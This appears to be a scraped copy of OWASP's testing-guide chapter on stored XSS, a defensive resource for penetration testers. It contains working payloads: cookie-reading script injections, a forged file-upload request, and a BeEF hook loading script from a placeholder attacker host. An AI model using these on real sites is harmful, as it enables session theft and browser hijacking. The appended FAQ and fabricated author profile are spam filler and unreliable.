WSTG - Latest | OWASP Foundation (2024)

Home>Latest>4-Web Application Security Testing>07-Input Validation Testing



Stored Cross-site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.

Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.

This vulnerability can be used to conduct a number of browser-based attacks including:

  • Hijacking another user’s browser
  • Capturing sensitive information viewed by application users
  • Pseudo defacement of the application
  • Port scanning of internal hosts (“internal” in relation to the users of the web application)
  • Directed delivery of browser-based exploits
  • Other malicious activities

Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:

  • Attacker stores malicious code into the vulnerable page
  • User authenticates in the application
  • User visits vulnerable page
  • Malicious code is executed by the user’s browser

This type of attack can also be exploited with browser exploitation frameworks such as BeEF and XSS Proxy. These frameworks allow for complex JavaScript exploit development.

Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.

Test Objectives

  • Identify stored input that is reflected on the client-side.
  • Assess the input they accept and the encoding that gets applied on return (if any).

How to Test

Black-Box Testing

The process for identifying stored XSS vulnerabilities is similar to the process described during the testing for reflected XSS.

Input Forms

The first step is to identify all points where user input is stored into the backend and then displayed by the application. Typical examples of stored user input can be found in:

  • User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
  • Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
  • File Manager: application that allows upload of files
  • Application settings/preferences: application that allows the user to set preferences
  • Forum/Message board: application that permits exchange of posts among users
  • Blog: if the blog application permits to users submitting comments
  • Log: if the application stores some users input into logs.

Analyze HTML Code

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.

Note: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.

Example: Email stored data in index2.php

WSTG - Latest | OWASP Foundation (1)
Figure 4.7.2-1: Stored Input Example

The HTML code of index2.php where the email value is located:

<input class="inputbox" type="text" name="email" size="40" value="[emailprotected]" />

In this case, the tester needs to find a way to inject code outside the <input> tag as below:

<input class="inputbox" type="text" name="email" size="40" value="[emailprotected]"> MALICIOUS CODE <!-- />

Testing for Stored XSS

This involves testing the input validation and filtering controls of the application. Basic injection examples in this case:

  • [emailprotected]&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;
  • [emailprotected]%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.

WSTG - Latest | OWASP Foundation (2)
Figure 4.7.2-2: Stored Input Example

The HTML code following the injection:

<input class="inputbox" type="text" name="email" size="40" value="[emailprotected]"><script>alert(document.cookie)</script>

The input is stored and the XSS payload is executed by the browser when reloading the page. If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string “SCRIPT” is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see testing for reflected XSS) chapter). It is strongly recommended that testers refer to XSS Filter Evasion and Mario XSS Cheat pages, which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers and tools section for more detailed information.

Leverage Stored XSS with BeEF

Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as BeEF and XSS Proxy.

A typical BeEF exploitation scenario involves:

  • Injecting a JavaScript hook which communicates to the attacker’s browser exploitation framework (BeEF)
  • Waiting for the application user to view the vulnerable page where the stored input is displayed
  • Control the application user’s browser via the BeEF console

The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.

Example: BeEF Injection in index2.php:

[emailprotected]"><script src=http://attackersite/hook.js></script>

When the user loads the page index2.php, the script hook.js is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.

WSTG - Latest | OWASP Foundation (3)
Figure 4.7.2-3: Beef Injection Example

This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.

File Upload

If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.

Consider the following HTTP POST request for file upload:

POST /fileupload.aspx HTTP/1.1[…]Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"Content-Type: text/plaintest

This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.

HTTP POST Request forged:

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"Content-Type: text/html<script>alert(document.cookie)</script>

Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.

Blind Cross-site Scripting

Blind Cross-site Scripting is a form of stored XSS. It generally occurs when the attacker’s payload is saved on the server/infrastructure and later reflected back to the victim from the backend application. For example in feedback forms, an attacker can submit the malicious payload using the form, and once the backend user/admin of the application views the attacker’s submission via the backend application, the attacker’s payload will get executed. Blind Cross-site Scripting is hard to confirm in the real-world scenario but one of the best tools for this is XSS Hunter.

Note: Testers should carefully consider the privacy implications of using public or third party services while performing security tests. (See #tools.)

Gray-Box Testing

Gray-box testing is similar to black-box testing. In gray-box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.

Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the backend system. The following steps are recommended:

  • Use frontend application and enter input with special/invalid characters
  • Analyze application response(s)
  • Identify presence of input validation controls
  • Access backend system and check if input is stored and how it is stored
  • Analyze source code and understand how stored input is rendered by the application

If source code is available (as in white-box testing), all variables used in input forms should be analyzed. In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.

The following table summarizes some special variables and functions to look at when analyzing source code:

$_GET - HTTP GET variables Request.QueryString - HTTP GET doGet, doPost servlets - HTTP GET and POST
$_POST - HTTP POST variables Request.Form - HTTP POST request.getParameter - HTTP GET/POST variables
$_REQUEST – HTTP POST, GET and COOKIE variables Server.CreateObject - used to upload files
$_FILES - HTTP File Upload variables

Note: The table above is only a summary of the most important parameters but, all user input parameters should be investigated.

  • PHP Charset Encoder(PCE) helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.
  • Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).
  • BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.
  • XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
  • Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
  • XSS Assistant Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.
  • Zed Attack Proxy (ZAP) is an interactive HTTP/S proxy server for attacking and testing web applications with a built-in scanner.
  • XSS Hunter Portable XSS Hunter finds all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS.


OWASP Resources

  • XSS Filter Evasion Cheat Sheet


  • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook - Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3


WSTG - Latest | OWASP Foundation (2024)


What is the OWASP testing guide? ›

The WSTG is a comprehensive guide to testing the security of web applications and web services. Created by the collaborative efforts of cybersecurity professionals and dedicated volunteers, the WSTG provides a framework of best practices used by penetration testers and organizations all over the world.

What is a weak password for OWASP? ›

Passwords shorter than 8 characters are considered to be weak (NIST SP800-63B). Maximum password length should be at least 64 characters to allow passphrases (NIST SP800-63B).

What is client side resource manipulation? ›

A client-side resource manipulation vulnerability is an input validation flaw. It occurs when an application accepts user-controlled input that specifies the path of a resource such as the source of an iframe, JavaScript, applet, or the handler of an XMLHttpRequest.

What is the executive summary of OWASP? ›

The executive summary sums up the overall findings of the assessment and gives business managers and system owners a high level view of the vulnerabilities discovered. The language used should be more suited to people who are not technically aware and should include graphs or other charts which show the risk level.

Is OWASP still relevant? ›

With a new update yet to surface (we're expecting one sometime in the next couple of years), OWASP 2023 inevitably relies on the 2021 list, but make no mistake, these vulnerabilities are still very relevant and everyone in web development and security needs to be alert to the threats they pose.

What does OWASP stand for? ›

The Open Worldwide Application Security Project (OWASP) is a nonprofit foundation that works to improve the security of software.

What are 5 weak passwords? ›

Some of the highest-ranking, yet weakest password words and numbers include:
  • 123456.
  • admin.
  • 12345678.
  • 123456789.
  • 1234.
  • 12345.
  • password.
  • 123.
Dec 25, 2023

How hackers exploit weak passwords? ›

Hackers exploit weak passwords by utilizing a range of techniques, such as brute force attacks, where they attempt numerous password combinations, and dictionary attacks, which involve trying common words or phrases.

What is the default password for Owasp? ›

“admin”, “password”, “12345”, or other common default passwords. An empty or blank password. The serial number or MAC address of the device.

What is cross site flashing? ›

Cross-Site Flashing (XSF) is a web application security vulnerability that can be used by attackers to inject and execute malicious Flash content on a victim's web browser. XSF attacks can result in a range of consequences, from stealing sensitive data to taking control of the victim's computer.

What is cache poisoning in client-side? ›

Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker.

What is HTML injection? ›

HTML Injection also known as Cross Site Scripting. It is a security vulnerability that allows an attacker to inject HTML code into web pages that are viewed by other users.

Is OWASP a government agency? ›

The OWASP Foundation, Inc. is a United States 501(c)3 nonprofit charity governed by the Global Board and administered by its executive director, staff, and contractors.

Is OWASP free? ›

Every one is free to participate in OWASP and all of our materials are available under a free and open software license. The OWASP Foundation is a 501c3 not-for-profit charitable organization that ensures the ongoing availability and support for our work.

What is the OWASP ZAP tool? ›

OWASP Zed Attack Proxy (ZAP) is an open-source web application security testing tool developed by the Open Web Application Security Project (OWASP). It is designed to help developers, security testers, and penetration testers identify vulnerabilities and security flaws in web applications.

What are OWASP security guidelines? ›

One of OWASP's core principles is that all of their materials be freely available and easily accessible on their website, making it possible for anyone to improve their own web application security. The materials they offer include documentation, tools, videos, and forums.

What is OWASP tool used for? ›

  • Detects Known Vulnerabilities in dependencies.
  • Identifies OSS licenses used in dependencies and prevents use of problematic licenses.
  • Provides SCA capabilities such as SBOM creation.
  • Free for Open Source Projects and individual users.

What is OWASP code review guide? ›

OWASP Code Review Guide is a technical book written for those responsible for code reviews (management, developers, security professionals). The primary focus of this book has been divided into two main sections.

What is OWASP methodology? ›

The OWASP methodology encompasses a variety of tests and procedures, including threat modelling, code review, vulnerability scanning, penetration testing, and security requirement testing.


Top Articles
Latest Posts
Article information

Author: Edwin Metz

Last Updated:

Views: 6252

Rating: 4.8 / 5 (78 voted)

Reviews: 85% of readers found this page helpful

Author information

Name: Edwin Metz

Birthday: 1997-04-16

Address: 51593 Leanne Light, Kuphalmouth, DE 50012-5183

Phone: +639107620957

Job: Corporate Banking Technician

Hobby: Reading, scrapbook, role-playing games, Fishing, Fishing, Scuba diving, Beekeeping

Introduction: My name is Edwin Metz, I am a fair, energetic, helpful, brave, outstanding, nice, helpful person who loves writing and wants to share my knowledge and understanding with you.